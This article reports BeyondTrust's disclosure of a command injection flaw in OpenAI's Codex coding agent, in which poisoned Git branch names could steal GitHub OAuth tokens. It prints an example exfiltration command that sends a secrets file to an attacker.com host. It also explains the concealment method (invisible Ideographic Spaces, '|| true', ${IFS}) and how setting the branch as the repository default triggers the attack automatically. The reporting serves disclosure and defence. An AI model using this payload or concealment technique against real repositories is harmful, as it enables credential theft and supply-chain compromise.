OpenAI Codex command injection let attackers steal GitHub tokens via invisible branch names

Tombstone icon

BeyondTrust Phantom Labs found a critical command injection vulnerability in OpenAI's Codex coding agent. Malicious Git branch names - disguised with invisible Unicode characters - could execute arbitrary shell commands inside the Codex container and exfiltrate GitHub OAuth tokens. The attack worked across the ChatGPT website, Codex CLI, SDK, and IDE extensions, and could be triggered automatically by setting a poisoned branch as the repository default. OpenAI classified it as Critical Priority 1 and patched it across multiple rounds of fixes through early 2026.

Incident Details

Severity:Facepalm
Company:OpenAI
Perpetrator:AI coding agent
Incident Date:
Blast Radius:All OpenAI Codex users across ChatGPT, CLI, SDK, and IDE extensions exposed to GitHub OAuth token theft via poisoned repositories
Advertisement

The Developer's Invisible Threat

OpenAI's Codex is an AI coding agent - a tool that developers point at a repository and task with writing, reviewing, or debugging code. It clones repositories, checks out branches, reads files, and generates output, all running inside managed cloud containers that OpenAI provisions for each task. When Codex runs, it authenticates to GitHub using short-lived OAuth tokens that grant access to whatever repositories the developer has authorized.

On March 30, 2026, BeyondTrust's Phantom Labs research team publicly disclosed a vulnerability they'd found in how Codex handled one of the most basic inputs in all of software development: the Git branch name. The branch name - "main," "develop," "feature/login-page" - is something developers type or select dozens of times a day without thinking about it. It's metadata. It's plumbing. Nobody treats branch names as an attack vector.

BeyondTrust's researchers did, and what they found was a textbook command injection flaw with an unusually creative concealment technique.

What Went Wrong

When a user created a Codex task, the system accepted a GitHub branch name as a parameter. That branch name was then used in shell commands inside the container - operations like git checkout that need to reference the target branch. The problem: Codex didn't sanitize the branch name before passing it into the shell. No escaping. No validation. The value went straight from user-supplied input into a shell command.

This is CWE-78, OS Command Injection, one of the most well-documented vulnerability classes in software security. OWASP has it on their injection checklist. Every security training course covers it. The fix - sanitize inputs that touch shell commands - has been known and understood for decades.

An attacker who created a branch with a name containing shell metacharacters could execute arbitrary commands inside the Codex container. Those commands ran in the same environment that held the GitHub OAuth tokens Codex used for authentication. Stealing them was straightforward: read the token from the container's environment, encode it, and send it to an external server.

The Unicode Trick

A branch named main; curl https://attacker.com/steal?token=$(cat /secrets/github_token) would be suspicious if anyone looked at it. The BeyondTrust researchers solved this problem with a technique that made the malicious payload functionally invisible.

Git branch names can't contain regular ASCII spaces, but they can contain Unicode characters that look like spaces - specifically, Ideographic Spaces (Unicode U+3000). These are full-width space characters used in CJK (Chinese, Japanese, Korean) typography. To a terminal or web interface, they render identically to regular whitespace. To the shell interpreter processing the branch name, they're just more characters in the string.

The researchers crafted branch names where the visible portion read something innocuous - "main" - followed by 94 Ideographic Space characters, then || true, and then the actual malicious payload. In every UI that displayed the branch name (the ChatGPT interface, IDE extensions, the CLI), the user saw "main" followed by what appeared to be empty space. The payload was there, but pushed so far out of view that no one scrolling through the interface would ever see it.

The || true was an insurance policy. If the benign part of the branch name caused a command error (because no branch named "main" followed by 94 invisible characters exists), the || true ensured the shell continued executing instead of halting, and the actual malicious command after it would run regardless. Standard bash short-circuit logic, used here to guarantee payload execution.

To handle bash's own parsing requirements inside the branch name, the researchers substituted ${IFS} (Internal Field Separator) for regular spaces in the command payload. ${IFS} is a bash variable that defaults to space/tab/newline - the shell expands it at runtime, giving the attacker functional spaces without using actual space characters that Git might reject.

Automating the Attack

The proof of concept wasn't limited to tricking individual users into typing a malicious branch name. By setting the poisoned branch as the repository's default branch, the researchers demonstrated that any developer who ran a Codex task against that repository would automatically trigger the exploit. No special action required - just "Hey Codex, look at this repo" was enough.

This scales disturbingly well. An attacker could fork a popular open-source repository, set the default branch to a poisoned name, and wait. Anyone who pointed Codex at the fork - to review the code, understand the project, or generate tests - would have their GitHub tokens silently exfiltrated.

The stolen tokens, even though they were short-lived, carried whatever GitHub permissions the developer had authorized Codex to use. Depending on the developer's OAuth scope configuration, that could mean read access to private repositories, write access to repositories, or access to organizational resources. In an enterprise environment where Codex is connected to an organization's GitHub account, a single compromised developer could provide an attacker with a foothold into the entire codebase.

The Scope of Exposure

The vulnerability affected every surface through which a developer could interact with Codex. The ChatGPT web interface. The Codex CLI. The SDK. IDE extensions for various editors. Every one of these interfaces accepted a branch name parameter, and every one of them passed it to the same unsanitized shell command in the container.

This is a particularly uncomfortable finding for enterprise security teams. Codex as a product is positioned squarely at professional developers and development organizations. It's not a toy or a consumer chatbot - it's a tool that has authenticated access to source code repositories, which are among the most sensitive assets any software company owns.

The Disclosure Timeline

BeyondTrust reported the vulnerability to OpenAI on December 16, 2025, through OpenAI's BugCrowd program. OpenAI deployed an initial hotfix by December 23 - a week later, which is a reasonable response time for a critical vulnerability during the holiday season.

The initial fix wasn't the end of it. OpenAI continued hardening the affected code paths through January 2026. By January 30, they had implemented stronger shell command protections, improved input validation, and - importantly - reduced the scope and lifetime of the GitHub tokens that Codex containers could access. Even if a future injection somehow bypassed the new sanitization, the stolen tokens would be less useful.

On February 5, 2026, OpenAI formally classified the vulnerability as Critical Priority 1 and confirmed full remediation. The public disclosure came on March 30, giving OpenAI approximately three and a half months from initial report to patch, disclosure, and post-mortem. By responsible disclosure standards, that's a normal timeline, and OpenAI's engagement with the researchers appears to have been cooperative throughout.

A Familiar Pattern

The BeyondTrust Codex finding fits a pattern that has become strikingly common in AI coding tool security: the vulnerability isn't in the AI model itself, but in the infrastructure wrapped around it. The LLM inside Codex didn't hallucinate the shell injection. No prompt injection was needed. The problem was in plain old input handling - the kind of bug that has existed since the first CGI script ran unsanitized query strings in the 1990s.

What makes it an "AI coding tool" vulnerability rather than just another injection bug is what the attacker gets access to. A command injection in a traditional web application might leak database credentials or session tokens. A command injection in Codex leaks GitHub OAuth tokens - keys to the source code supply chain. The blast radius of these tools, by design, extends into some of the most valuable digital assets a company owns.

The broader pattern here matters more than any individual CVE. AI coding agents are accumulating privileges at speed: file system access, shell access, repository credentials, API keys, cloud provider tokens. Each new integration widens the attack surface. And the tools managing these privileges are being built at startup velocity, by teams focused on shipping features, using the same class of shortcuts that security engineers have been warning about for thirty years.

When BeyondTrust's Phantom Labs researchers found that a multi-billion-dollar company's flagship AI coding tool was passing unsanitized user input into shell commands, they didn't discover a novel attack class. They discovered that the oldest class of web vulnerability still works just fine when you wrap it in enough AI branding.

Discussion